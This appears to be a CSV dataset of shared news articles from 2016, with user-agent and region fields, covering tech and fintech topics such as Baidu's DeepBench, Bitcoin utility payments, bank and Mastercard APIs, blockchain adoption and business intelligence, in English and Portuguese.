1475075022,CONTENT SHARED,-6570327055377820618,-1443636648652872475,7630107056969134574,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36",SP,BR,HTML,http://www.theregister.co.uk/2016/09/27/baidu_research_launches_deepbench_measure_deep_learning_models/,Baidu Research grills AI models on deep learning,"Tool aims to reduce machine-training time Baidu Research has launched DeepBench, a new tool for AI researchers interested in assessing deep learning operations across hardware platforms. The announcement was made at the O'Reilly Artificial Intelligence conference by Greg Diamos and Sharan Narang, researchers working at Baidu's AI lab in Silicon Valley. Deep learning is a technique used in machine learning that is rapidly gaining popularity amongst the AI community. It uses neural networks and applies a set of algorithms with parameters fine-tuned during the learning phase to allow input data to trickle through multiple processing layers before computing the output. It is being used to tackle a variety of problems, including natural language processing and machine vision. Deep learning frameworks such as Theano, a software that allows developers to perform numerical calculations, or Google's Tensorflow, which has tools for language understanding, are used to build deep learning models. The model is trained using neural networks on hardware such as NVIDIA GPUs or Intel's Xeon Phi processor. ""Because every deep learning model uses these operations with different parameters, the optimization space for hardware and software targeting deep learning is large and underspecified,"" Baidu said in a blog post . With DeepBench, Baidu Research hopes that measuring performance on deep learning models will allow developers to find ways to reduce wasting computing power during training. ""Deep learning developers and researchers want to train neural networks as fast as possible. Right now we are limited by computing performance, said Dr. Diamos. ""The first step in improving performance is to measure it, so we created DeepBench and are opening it up to the deep learning community. We believe that tracking performance on different hardware platforms will help processor designers better optimize their hardware for deep learning applications."" ® Sponsored: HPC and HPDA for the Cognitive Journey with OpenPOWER",en
1475080646,CONTENT SHARED,-1897853393557630253,-6067316262393890508,-3241693240320572210,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.engadget.com/2016/09/28/your-health-insurance-might-score-you-an-apple-watch/,Your health insurance might score you an Apple Watch,"Aetna provided a clue as to how the Watch would be used by writing that its own employees ""will participate in the company's wellness reimbursement program, to encourage them to live more productive, healthy lives."" It could presumably also also collect detailed health and fitness data to help refine its actuarial tables and other insurance data, assuming user opt-in. Aetna will be the first major health care company to subsidize a significant portion of the Apple Watch cost, offering monthly payroll deductions to make covering the remaining cost easier. Apple also has a ResearchKit program that helps scientists relate heart-rate and other health data to cancer, heart disease and other maladies. It recently signed up the first major drug company, GlaxoSmithKline, which will use it for a rheumatoid arthritis study. Apple has been working hard to getting its HealthKit app into the US health care system, so Tim Cook is understandably ""thrilled"" with the cozy relationship. An Aetna spokesperson told Ars Technica that ""Apple will have employees devoted to providing support to Aetna on this initiative [and] ... will also have a dedicated employee unit focused on this collaboration."" The Watch Series 2 may have convinced the insurer to get onboard, since it's more focused on health and fitness than the original model.",en
1475080681,CONTENT SHARED,8734156751308150579,-6067316262393890508,-3241693240320572210,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.cryptocoinsnews.com/bitcoin-accepted-german-energy-giant-enables-payments/,Bitcoin Accepted! German Energy Giant Enables Payments - CCN: Financial Bitcoin & Cryptocurrency News,"CoinUpVote and we might write about it on CCN.LA ! Time will tell how many customers will accept Bitcoin as a method of payment for their utility bills, says Enercity which announced on Friday, September 16 that Hanover residents can now pay for their energy use with the virtual currency. Enercity CEO, Dr. Susanna Zapreva, who made the announcement, said digitization has already been fixed into various parts of the everyday life of their customers and the introduction of Bitcoin payment is just a step on the road to the digital future. In a statement from the company, it says digitization has changed the whole economy including the energy sector. Based on this, it believes that systems, transactions and networks will be decentralized and able to act independently of central institutions in the future. Hence, Bitcoin is appropriate to achieve such a decentralized payment system. Enercity - or Stadtwerke Hannover AG - is Hanover's municipal utility and service company that provides the region with electricity, gas, district heating and drinking water. It has approximately 2,500 employees and a turnover of around EUR 2.3 Billion to be one of the ten largest energy companies in Germany. The regional utilities company will accept the virtual currency as a regular payment through a world-purpose digital payment system that is implemented in cooperation with PEY GmbH in Hanover. PEY allows the direct purchase of Bitcoin by debiting a user's bank account directly via SEPA Direct Debit. The German FinTech and Blockchain startup's new partnership with Enercity will allow customers in Hanover to pay their electricity, gas, district heating and drinking water with Bitcoin. In addition to the special payment code that will now be included on every single Enercity invoice as from this month, the customer service office in the city center and Enercity's headquarters will have PEY Payment Terminals ready for anyone who wishes to make a payment on the premises. Image from Shutterstock. Enercity says this new payment option for their customers is aimed at setting new standards in customer service. This is particularly valuable because Bitcoin payment is not subject to geographical limitations but all that is needed is an Internet access and a Bitcoin wallet. Transfers of bitcoins also take place via a decentralized computer network (peer-to-peer) as opposed to centralized banking processes.",en
1475080725,CONTENT SHARED,-3179358869851478234,-6067316262393890508,-3241693240320572210,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://insurancethoughtleadership.com/not-your-fathers-insurance-industry/,Not Your Father's Insurance Industry - Insurance Thought Leadership,"Summary: New ecosystems provide tremendous opportunities to transform risk management, the customer experience and operations. If there were any doubts that the insurance industry is innovating and transforming, all doubts were dispelled at the 2016 SMA Summit . Insurer after insurer described innovative new business models, products and uses of emerging technologies. Virtual reality, drones, gamification, wearables, the IoT and other emerging technologies were all discussed - not as future possibilities for insurance, but as real-life examples in the marketplace. Partnerships with grocery chains, universities, nutritionists and insurtech companies, among others were prominent in the discussions. See also: Customers' Digital Expectations One word in particular - ecosystems - was repeated throughout the course of the event. What is most fascinating about this is how the insurance ecosystem is now evolving. In 2009, SMA began a series of research that we termed the Insurance Ecosystem, which aimed to provide insights into the progress and plans of insurers, reinsurers, distribution channel players, claims partners and solution providers. At that time, most of the industry considered those types of firms, along with the regulators and customers, to be the entities that made up the insurance industry ecosystem. While all of these are still central to the ecosystem, in the new digital era new players are joining in, the boundaries between industries are blurring and new ecosystems are becoming important to insurance. The connected world is not just about connecting things to the Internet and making them smart. It is about making new connections with companies in different industries to provide new products and services to customers, rethink the customer experience, attack operational processes in new ways and even address pressing societal problems. In the process, new ecosystems are forming. Ecosystems for smart homes, cities, vehicles, buildings and agriculture all are emerging with new players partnering in new ways. The healthcare, fitness, elder care and individual well-being areas are populated by many new companies alongside existing companies in traditional industries. The companies in these new ecosystems may provide connected devices at the digital edge, data/analytics to manage information and create actionable insights, services built around the devices/data, tech infrastructure to support the ecosystem - or any combination of the above. These new ecosystems provide tremendous opportunities to transform risk management, the customer experience and operations, providing a new level of value to customers and society at large. The stories from the companies at the SMA Summit provide a great glimpse into the possibilities and throw down the gauntlet for other insurers. See also: Waves of Change in Digital Expectations The important question for insurers is how they will participate in these new ecosystems. It will not happen by magic. Insurers must actively partner, invest and innovate with companies outside the traditional industry. It won't be too long before we will be saying, ""It's not your father's insurance industry."" Success in the new insurance industry will be highly dependent on being an active participant in these new, emerging ecosystems.",en
1475115195,CONTENT SHARED,-6761163882540291832,-6316613156648676087,-7287005820011719752,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/09/banco-original-discute-tendencias-dos-servicos-financeiros-e-lanca-plataforma-para-desenvolvedores/,Banco Original discute tendências dos serviços financeiros e lança plataforma para desenvolvedores - Startupi,"O Banco Original, instituição financeira 100% digital, lançou hoje o Open Banking , plataforma de APIs abertas para desenvolvedores. ""Nós queremos cada vez mais integrar o pessoal das comunidades de desenvolvimento às empresas, que estão percebendo cada vez mais o poder de influência de seus desenvolvedores nas corporações"", diz Marcel Sanches, consultor sênior de Inovação do Banco. O objetivo da instituição é realizar a partir de agora diversos hackathons para que os desenvolvedores deem feedbacks sobre sua plataforma e possam desenvolver seus softwares. Por enquanto, o Open Banking ainda está em fase de testes alfa, por isso poucas APIs estão disponíveis na plataforma. Mas, segundo Marcel, o plano é que no curto prazo estejam abertas diversas novas. O portal foi criado para atender não só aos desenvolvedores, mas também ao empreendedor que quer desenvolver um app com as APIs. ""Não quisemos que a coisa ficasse mecânica, quisemos que o usuário pudesse enxergar o valor e o que pode fazer com aquele material"", diz Marcel. A plataforma é de fácil navegação e os desafios de como criar uma documentação amigável e segurança para os produtos desenvolvidos também foram pensados e desenvolvidos para trazer praticidade ao usuário. Na plataforma estão abertas as APIs de: consulta de saldo, histórico de saldos, extrato da conta, investimentos, extratos de fundos de renda variável, extratos de fundo de renda fixa e transferência entre contas do Original. Quem quiser testar a plataforma e começar a trabalhar com as APIs já disponíveis deve entrar em contato com o Banco. A Era das Fintechs Com as tecnologias avançando cada vez mais, os mercados de diversos segmentos têm que se reinventar. No caso dos serviços financeiros não é diferente. De um tempo para cá, tradicionais bancos do mundo inteiro estão perdendo espaço com os clientes e pequenas empresas de tecnologia estão mudando a forma como os consumidores lidam com seu dinheiro: é a revolução das fintechs! Para falar sobre como este cenário pode impactar todos os tipos de indústria no mundo, Guga Stocco, head de Inovação e Estratégia do Banco Original, participou de um MeetUp nesta terça-feira na Plug CLXT . Fazer escolhas Guga diz que o princípio da inovação está na estratégia do negócio e estratégia é fazer escolhas. Para explicar melhor sobre o conceito, ele dá o exemplo do BBM, produto da Blackberry. Quando o iPhone foi lançado, a Blackberry tomou a decisão de tirar o app de mensagens de dentro dos smartphones e explorá-lo sozinho. Com esta decisão, o aplicativo poderia ser inserido em outros aparelhos, inclusive no do concorrente. ""O CEO achou que isso poderia matar a Blackberry, mas o que realmente poderia matar a empresa era a Apple, não a disponibilização do produto"", diz Guga. ""Hoje o WhatsApp é mais usado em países emergentes, onde enviar SMS ainda é muito caro. Mas ainda assim, o app foi vendido por US$ 22 bilhões para o Facebook. Se o BBM fosse retirado do Blackberry naquela época, estima-se que o aplicativo poderia valer hoje cerca de US$ 60 bilhões"", afirma. Outro exemplo é o Google, que comprou o produto de diversas empresas para realizar o Google Maps e, após o lançamento da plataforma, a companhia se tornou líder absoluta no segmento de geolocalização pelo mundo. Para ele, as empresas digitais que não forem agressivas e criarem uma grande vantagem competitiva não terão espaço no mercado. ""Por isso empresas como o Google trazem para dentro e mantêm talentos nas mais diversas áreas, se mantendo à frente da concorrência"". Grandes companhias como Tesla, Netflix e Facebook, por exemplo, também se diferenciam da concorrência pela vantagem competitiva e dominam o segmento em que elas trabalham. ""A Tesla é a única montadora de carros sem concessionária, que não paga comissão para os vendedores e que consegue ter fila na porta da loja antes do lançamento de seus carros"", diz Guga. A companhia de Elon Musk disponibiliza em seu site tudo o que é preciso para montar um veículo como a dela. Por quê? ""Qualquer pessoa pode montar um Tesla, mas para que o carro funcione você precisa licenciar o software da empresa e comprar dela a bateria. Essa é a vantagem deles"", explica o head do Banco Original. O Facebook se tornou rapidamente o maior player de seu segmento porque apostou na diversificação de seus produtos. Entre Instagram, Facebook, Messenger e WhatsApp, a empresa hoje detém alguns dos maiores apps de conversação e redes sociais do mundo, o que reduz a probabilidade de um único produto derrubar a empresa. Já o Netflix, que começou como uma locadora de filmes e séries, precisava de conteúdo para manter sua plataforma no ar. Sem poder veicular produções de grandes canais da TV, como HBO, a empresa desenvolveu um algoritmo que juntou os roteiristas, diretores, histórias e atores mais assistidos pelo seu público para criar um produto próprio. O resultado disso foi House Of Cards, considerada uma das mais importantes séries da atualidade. Mercado Financeiro Todas estas empresas citadas acima revolucionaram seus segmentos e, cada uma da sua forma, mudou o comportamento da sociedade na forma como são consumidos determinados produtos. No mercado financeiro não é diferente. Apenas no Brasil, a primeira instituição financeira já tem mais de dois séculos. Pelo mundo, os serviços financeiros já estão em atividade desde o século XV. Primeiro, nos anos 90, o processo de modernização dos serviços financeiros chegou ao internet banking, onde o cliente pode acessar sua conta de casa. Tempos depois, chegou aos aplicativos mobile, permitindo que o usuário realize transações financeiras de qualquer lugar. Embora facilitados, os processos ainda se espelhavam nas agências físicas destas instituições. Hoje, a fórmula dos bancos tradicionais - engessada, burocrata, com foco nos processos e não no usuário final - está rapidamente sendo substituída pelas startups de tecnologia que simplificaram a forma dos clientes lidarem com dinheiro. Mas como estas empresas tão jovens podem impactar a indústria tão consolidada dos bancos? Guga diz que o diferencial das fintechs está na experiência, por isso grandes companhias estão cada vez mais realizando investimento nestas startups e se espelhando nelas. O Google, por exemplo, já investiu em quase 40 delas. Mobile O produto destas empresas deve ser pensado no cliente, moldado exclusivamente para ele, proporcionando uma experiência única e agradável para as pessoas. ""O que uma startup deve fazer é ter um time disciplinado que olhe os problemas dos consumidores, estude-os e use as últimas tecnologias para resolver esta questão"", diz. ""Os bancos são como gorilas e as fintechs são como abelhas. Uma única abelha pode não causar grande desconforto ao gorila, mas certamente centenas delas podem matá-lo."" Por lei , instituições financeiras podem permitir que seus clientes abram contas online, mas ela também diz que os clientes podem encerrar seu vínculo com o banco através da internet. ""Se você entrar em uma agência e o segurança falar para você tirar a roupa para passar pelo detector de metais, você vai poder simplesmente apertar um botão no seu celular e fechar sua conta, entrar na App Store e baixar outro"", diz Guga. ""Os bancos têm que entender que depois que os clientes entraram no mobile e se digitalizaram, não tem mais volta. Tecnologias antigas não funcionam mais para o novo comportamento de consumo"". Cases Para mostrar a importância das mudanças da sociedade em cuidar e gerenciar seu dinheiro, Guga Stocco explica alguns cases de empresas que prestam os mais diversos serviços e ainda assim, realizam serviços financeiros. Hoje, o segundo produto do Starbucks que dá mais dinheiro que o café é o próprio dinheiro. Com o cartão pré-pago, a companhia controla até 2.5 bilhões de dólares por trimestre em recarga de usuários. São 10 bilhões de dólares que anualmente geram juros para a companhia, sem contar nos 13% dos usuários que não consomem seus créditos até o fim. ""Isso mostra que os bancos estão enfrentando uma concorrência ferrenha, e essa concorrência pode ser até uma cafeteria"". O WeChat, espécie de WhatsApp chinês, também entrou na onda das fintechs e está alcançando muito sucesso. A empresa, que pertence à Tencent - uma das maiores empresas de tecnologia da China -, começou a cobrar poucos usuários alguns centavos por avatares para o chat e juntou-se a outras empresas que faturam no mesmo sistema de microcrédito, como apps de jogos. Assim, a empresa começou a cobrar em sua plataforma pelas vidas e dinheiros digitais dos games. No primeiro trimestre, a empresa alcançou o lucro de três bilhões de dólares. A empresa fechou ainda uma parceria com um banco para lançar um cartão pré-pago. No primeiro dia, a empresa captou 150 milhões de dólares. Hoje, o WeChat é o primeiro banco privado da China. ""Esses casos mostram que vantagem competitiva é tudo, e o mundo, que antes era complicado, hoje é complexo. É preciso aprender a viver no risco e se reinventar para progredir no mundo digital"", completa Guga. Confira abaixo o recado exclusivo de Guga Stocco, head de Inovação e Estratégia do Banco Original, para os leitores do STARTUPI. Ele aproveitou para dar uma dica para quem está empreendendo no mundo das fintechs:",pt
1475116264,CONTENT SHARED,679005777543560737,-6946355789336786528,5492334163693922319,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://conteudo.startse.com.br/mercado/lucas-bicudo/mastercard-libera-apis-para-quem-quer-desenvolver-novas-fintechs/,Mastercard libera APIs para quem quer desenvolver novas fintechs,"A plataforma de APIs permite integrar facilmente soluções de pagamentos, dados e segurança, facilitando para fintechs A Mastercard acaba de anunciar o lançamento do Mastercard Developers , uma plataforma que permite aos parceiros da companhia acessarem uma diversidade de APIs (interfaces de programação de aplicativos) de pagamentos, dados e segurança, para ajudar a construir, dar escala e realizar pagamentos usando novas modalidades tecnológicas, como realidade aumentada, virtual e Internet das Coisas (IoT). ""Imaginamos o Mastercard Developers como algo que capacita os nossos clientes, parceiros e seus desenvolvedores para que eles possam inovar e fazer os seus negócios crescerem"", disse Oran Cummins, vice-presidente sênior de APIs da Mastercard. ""A nova plataforma será crucial para integrar as tecnologias e os serviços da Mastercard às soluções digitais desses parceiros de modo fácil e econômico. Com isso, os consumidores terão uma experiência mais simples, rápida e segura"", completa. Com as APIs da Mastercard, fica mais fácil montar novas e mais poderosas fintechs - usando as tecnologias já desenvolvidas pela gigante dos cartões. É para entender o fenômeno das Fintechs que o StartSe está promovendo o Fintech Class - o maior evento envolvendo startups deste tipo no Brasil. Confira aqui . Principais APIs no Mastercard Developers: Pagamento: - MasterPass : Serviço de pagamento digital que simplifica a experiência de compras. Os consumidores podem fazer pagamentos com qualquer cartão, em qualquer lugar e com qualquer dispositivo. - Mastercard Digital Enablement Services (MDES): Fornece serviço de tokenização dos números de cartões da bandeira Mastercard, aumentando a segurança da transação. - Mastercard Send : Realiza transações, pagamentos e transferências de dinheiro P2P para quase todas as contas de débito, geralmente em poucos segundos. Serviços de Dados: - Market Insights : Dá acesso a tendências e a dados do setor e do micro-setor bem antes do governo ou outras fontes da indústria. - Retail Location Insights : Oferece insights sobre imóveis comerciais quanto ao desempenho mensal das lojas como forma de auxiliar em aquisições, otimizar alugueis e validar conclusões. - Media Measurement : Mede o impacto que as campanhas de mídia digital têm nas vendas online e offline. Segurança: - Fraud Scoring for Merchants : Informa aos estabelecimentos comerciais ou aos seus provedores de avaliação de crédito uma pontuação de cada transação que varia de 000 a 999 - quanto maior a pontuação, maior a probabilidade de ocorrer fraude. - MATCH : Auxilia as credenciadoras a identificarem estabelecimentos comerciais de alto risco antes de firmarem um contrato com eles. - Assurance IQ : Informa o nível de confiança na identidade digital do usuário, que é usado para decidir se mais alguma forma de autenticação é necessária. Experimental: - Bot Commerce : Integra um bot às plataformas de comércio, integrando o MasterPass e funcionalidades de comércio. - Qkr! com MasterPass : Uma plataforma de pagamentos móveis que permite aos consumidores fazer pedidos e pagar produtos e serviços direto de seus dispositivos móveis. - Mastercard Vending : Ajuda a conectar o seu aplicativo celular à plataforma de vendas Mastercard. Com isso os consumidores podem comprar diretamente pelo aplicativo. Inclusão Financeira: - MC Aid Network : Serviço não financeiro ponta a ponta projetado para otimizar a distribuição de ajuda humanitária, mesmo na ausência de infraestrutura de telecomunicações.",pt
1475150294,CONTENT SHARED,-8052188270551570124,8420481937548705787,-8702267566326112469,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://adnews.com.br/internet/google-lanca-novos-recursos-para-o-analytics.html,Google lança novos recursos para o Analytics,"Em março deste ano, o Google lançou o Analytics 360 Suite , um conjunto integrado de dados e produtos de análise, criado com o objetivo de atender às necessidades das empresas e dos profissionais de marketing em um mundo multitelas. Meses após o lançamento, a gigante anuncia uma série de novos recursos para o produto. Entre eles, está o Google Optimize, versão gratuita da ferramenta de testes personalizados que faz parte do Analytics Suíte. Uma opção do Data Studio para usuários brasileiros, também gratuita, faz parte da novidade. Algumas melhorias em outros recursos do Analytics também foram divulgadas. Confira abaixo: Google Optimize (beta) Ferramenta de teste e personalização para web e internet móvel promete ajudar as empresas a melhorar a experiência de seus clientes e métricas de negócios. Como é construído em cima do Google Analytics, as empresas podem usar a informação já existente no serviço para experimentar e personalizar experiências do site. É possível se cadastrar para ter acesso à ferramenta aqui . Google Data Studio (beta) O produto gratuito de relatórios e visualização de dados agora está disponível mundialmente em 21 novos países. Ele permite que as empresas identifiquem e compartilhem ideias de maneira colaborativa. Além disso, no próximo mês, serão lançados modelos de relatórios personalizáveis (acesse aqui ). Google Analytics Para tornar a ferramenta de análise ainda mais inteligente, o Google anuncia o Session Quality Score, uma nova métrica que incorpora machine learning para prever a probabilidade de um visitante fazer uma compra em seu site ou app. As empresas podem usar o serviço para melhorar a experiência dos seus clientes no site ou vender, novamente, aos clientes mais engajados. O recurso estará disponível em breve na versão beta e também no Google Analytics 360, parte do Google Analytics 360 Suite. Gerenciador de Tags do Google O Gerenciador de Tags oferece uma maneira simples de reunir informações do site e poderosas APIs para aumentar a precisão de dados e fluxos de trabalho. Hoje, o Google anuncia a expansão da ferramenta ao integrar 20 marcas da Quantcast, Twitter, Microsoft Bing, Nielsen, e muitos mais. Essas atualizações serão lançadas nas próximas duas semanas e também estão disponíveis no Gerenciador de tags 360, parte do Google Analytics 360 Suite. As mudanças, de acordo com o Google, foram necessárias para permitir que as empresas de grande ou pequeno porte possam acompanhar as expectativas cada vez mais altas dos consumidores em um mundo tão conectado. Segundo o buscador, para isso seja possível é necessário que as marcas tenham acesso a dados corretos que as permitam descobrir insights úteis e agir rapidamente. De acordo com uma pesquisa da Econsultancy com 4.000 comerciantes, as duas principais tendências digitais para 2020 serão ofoco na experiência do cliente (24%) e a personalização (23%). Deixe seu comentário:",pt
1475154930,CONTENT SHARED,7510090557616166004,2416280733544962613,-9176944364127497713,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",NY,US,HTML,https://hbr.org/2016/09/dont-waste-your-time-on-networking-events?,Don't Waste Your Time on Networking Events,"Large, traditional business networking events are a time-honored institution. They have been a staple of aspiring and successful professionals for so long that most networking advice focuses not on whether you should attend, but on how to make the most of these events when you do attend. In theory, they're one of the best ways to grow your business. Here's the problem: you're probably not getting the consistent results you're looking for. Regardless of how you define networking, your success will be directly tied to your ability to interact with people looking to achieve many of the same things you are. The most basic problem with traditional networking events is that they are mixing bowls for professionals who are there for different reasons. Everyone there is focused on his or her own personal agenda, whether it's signing a new client, creating awareness for their business, or connecting with someone in the hopes of developing a mutually beneficial relationship. Everyone is playing a different game, which is why there are usually no clear winners. Too many professionals are quick to attend yet another networking event, when in reality, they should be spending that time focusing more on their existing relationships. My definition of ""networking"" is any activity that increases the value of your network or the value you contribute to it. The best way to do this is to avoid traditional networking events almost entirely. There are more efficient and effective ways to spend your time. Here are three of my favorite strategies: Hosting Your Own Events Hosting your own get-togethers gives you almost complete control over the attendees, the setting, and the outcome. It's a great way to add value for existing clients and connections, and can also be an opportunity to meet and develop relationships with prospective clients. Most professionals struggle to find the right balance when allocating their time between client services and business development. But when done properly, you can accomplish both by hosting a great client appreciation event. The primary goal when planning an event should be to choose an activity your existing clients will enjoy. If you and your best clients share similar passions, start there. Do any of them play poker, or enjoy attending musicals or sporting events? My favorite events to host are wine tastings. You and Your Team Series Networking When inviting your clients or strategic partners, indicate that the invitation is for them and a guest (this is key). Ask them to bring someone who enjoys the activity your event is centered around. And remember that this event is not about making a sales pitch. It's about building upon existing and potentially new connections. Even though I never pitch my firm at these events, it has become commonplace for at least 50% of my clients' guests to reach out to learn more about my firm. However, if this doesn't happen (though I bet it will), your event should still be considered a success. Even if you don't end up with a single new client, your existing clients will have had a nice night out, will have met some interesting new people, and will have shared the experience with the person they invited - all thanks to you. Double Dating Double dating, in the professional networking sense, is like one of the above events, but on a smaller scale. The next time you have four tickets to an event, invite a current client, connection or strategic partner. Ask them to bring someone they think you should meet and you do the same. Think of all the ways this could be a success. Worst-case scenario, you will deepen your existing relationships. Best-case scenario, you and your client or strategic partner will have an opportunity to connect with an ideal prospective client whom you likely wouldn't have met otherwise. Reconnecting with Dormant Ties This strategy is designed for you to follow up with professionals in your network that you haven't connected with recently. People who fall into this category are: former classmates, former co-workers, or any contacts from a previous career (to name a few). As author and Wharton professor Adam Grant has stated , these dormant ties can be more valuable than your current relationships. You and your current contacts likely run in the same circles and because of this, you probably know a good portion of the same people. However, your dormant ties will likely have unique connections and knowledge compared to your current network. Unlike complete strangers, dormant ties are easier to connect with in a meaningful way given your shared background. An easy way to put this into action is by leveraging your CRM data or LinkedIn. Sort by your oldest connections or the date of your last email exchange. Due diligence is required here to make sure the people you reconnect with are currently in a situation that is relevant to yours. Start by sending a quick email asking them how they are and mention something specific you once had in common. For those who respond favorably, invite them to have a quick 15-minute phone call to catch up. Using these strategies will allow you to deepen existing relationships while meeting new connections. Implementing any or all of them will be significantly more productive - and more fun - than subjecting yourself to another inefficient and ineffective networking event.",en
1475155486,CONTENT SHARED,-5628343274127925011,8420481937548705787,-8702267566326112469,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.hospitalitynet.org/news/4078459.html,Digital development with online check-in and mobile room keys,"Scandic is continuing to expand its digital offering with even more services. Since 2013, Scandic's guests have enjoyed the possibility to check in online. Now, to make it even easier to manage the entire hotel experience, Scandic is testing digital check-in and mobile room keys at selected hotels in Stockholm.",en
1475155636,CONTENT SHARED,8631616594020837056,-6316613156648676087,-7287005820011719752,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://fortune.com/2016/09/28/blockchain-banks-2017/,Blockchain Will Be Used By 15% of Big Banks By 2017,"Trying to transfer cash to a friend's bank account is a surprisingly stressful process if you're going through a traditional bank. The transfers can take days, often lack a ""received"" receipt, and come with fees. At times, the cash seems to just disappear. But a major shift is underway among startups and big banks who hope to make that process, and others, cheaper, faster, and more efficient by using the technology that underlies cryptocurrency Bitcoin. In fact, banking and financial markets are adopting the technology ""dramatically faster than initially expected,"" according to a Wednesday IBM report titled ""Leading the Pack in Blockchain Banking: Trailblazers Set the Pace."" More from Fortune on Banks and the Block Chain So much so that 15% of banks world wide expect to widely implement blockchain, which is a ledger of transactions updated in real time by various institutions, by next year, according to the report which surveyed 200 global banks. These banks, mostly medium to large-sized institutions, are focusing their blockchain technology on three areas: consumer lending, retail payments, and reference data, which refers to the real-time information sharing of transactions across business divisions and institutions. In four years, IBM says that 66% percent of banks expect to have blockchain in commercial production and at scale. So far, the majority of banks are still in the testing phase-figuring out how to apply blockchain to their products and services. Eight banks including HSBC and State Street successfully tested out blockchain in bond transactions earlier this year , UBS and Santander have been trying out the technology for cross-border payments , while Bank of America announced Tuesday a partnership with Microsoft to experiment with the system. Banks expect the the use of blockchain technology, which would allow institutions themselves to update data in real-time, to lower costs by cutting out the middleman, and speed up transactions since banks would cut down on time spent reconciling disparate data.",en
1475156112,CONTENT SHARED,-6207670654614839859,8420481937548705787,-8702267566326112469,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.business.com/business-intelligence/how-cios-leverage-business-intelligence-to-drive-smarter-decision-making/,How CIOs Leverage Business Intelligence to Drive Smarter Decision-Making,"CIOs are increasingly leading the digital transformation charge at their companies today. Even a few years back in 2013, CREinFocus reported on survey findings indicating that 83 percent of CIOs had visionary plans including business intelligence and analytics to increase their competitiveness. The advantages of leveraging Business Intelligence (BI) are clear: reductions in costs, increased revenue, a sharper competitive edge in the market, and so forth. The foundation of these advantages lies in the ability to make more informed decisions fueled by the data BI provides. CIOs Play a More Prominent Role in Leveraging BI to Drive Innovation Despite a growing awareness of the benefits of business intelligence, Gartner predicts that by 2020, ""only 50 percent of chief analytics officers (CAOs) will have successfully created a narrative to respond to rapid change and link financial objectives to BI&A initiatives and investments. Additionally, 40 percent of enterprises' net-new investment will be in BI&A."" Gartner points out that, as we're now well into the digital age, companies, leadership executives in particular, must recognize the importance of looking beyond the typical applications for BI and analytics (gaining operational efficiency, cutting costs, etc.) and to ways to transform business intelligence into actionable insights that enable companies to deliver greater value to their customers. Related Article: 3 Ways to Optimize Your Business Plan with Business Intelligence CIOs are increasingly finding themselves at this junction, investing in IT that goes beyond improving existing processes or protecting company data but technology that helps to move their companies into the future and gain an edge over the competition. In fact, that's precisely the role that Warren Neuberger, CIO for PGi, says that today's CIOs should be filling. ""IT has to have the ability to constantly reinvent itself,"" says Neuberger in an article for CIO Review . ""Without the ability to reinvent itself, IT will remain little more than a cost center rather than providing true, strategic value to the business."" Neuberger says he thinks of his IT department in terms of customer experience, serving two customer segments: both the company's internal employees and the external customers. His focus is on how the company's back-end technologies can support and enhance the customer experience through every interaction with the business. CIOs with this mindset are playing an important role in innovation and are even leading the digital transformation charge at their respective companies more so today than many would have expected from a C-suite executive largely focused on back-end processes and systems years ago. Related Article: Reinventing Business Intelligence: 7 Ways Big Data is Changing Business G6 Hospitality CIO Jeff Winslow Leverages BI and Technology Innovation to Gain a Competitive Advantage Jeff Winslow, CIO of G6 Hospitality, LLC, shares how his company has leveraged technology and business intelligence to innovate in an article at CIO Review . Following his company's acquisition by Blackstone in 2012, Winslow says they've been focused on a complete overhaul of their technology platforms. But their goals extend beyond improving efficiencies within their corporate properties to enhancing operations and providing better support services and solutions to G6's franchisees and business partners, an undertaking that involves identifying, testing, and deploying solutions rapidly. In fact, G6 set a clear goal to become the leader in the economy segment and has been pushing ahead full-force to achieve that objective. One facet of the overall effort is the transformation of G6's digital ecosystem, including the launch of a revamped, fully-responsive website that better serves travelers. Additionally, G6 implemented an innovative system to take better advantage of business intelligence to gain and maintain a competitive advantage. The system, called the G6 Revenue Optimization Workspace (GROW), leverages competitor rates, the company's proprietary Central Reservations system, Property Management program, and all booking channels, all variables that work together to optimize occupancy and rate. Technology Is the Cornerstone of Innovation, and CIOs Are Leading the Way Technology is responsible in large part for the innovations happening across many industries today. In fact, technology is the catalyst for the completely disruptive startups that are shaking up traditional industries the way Uber has transformed transportation and companies like TaskRabbit have transformed the outsourcing economy. Business intelligence is at the core of these transformations, providing the insights both startups and established companies need to identify consumer pain points as well as the real-time data critical for rapid iterations and agile development to respond and adapt to demands. With myriad business intelligence tools and other data-driven solutions, spanning everything from tools for marketing and sales teams offering valuable customer insights to data visualization tools that turn raw data into digestible insights for the non-IT professional, the CIO's expertise is essential for gaining buy-in from other C-suite executives and key stakeholders. Related Article: How Business Intelligence Software Will Improve Your Business Not only do CIOs help their companies identify the best BI tools for collecting, aggregating, and analyzing data, but they're also the executives that hold the knowledge to transform those insights, such as a primary customer pain point, into tangible solutions that eliminate frustrations for employees and external 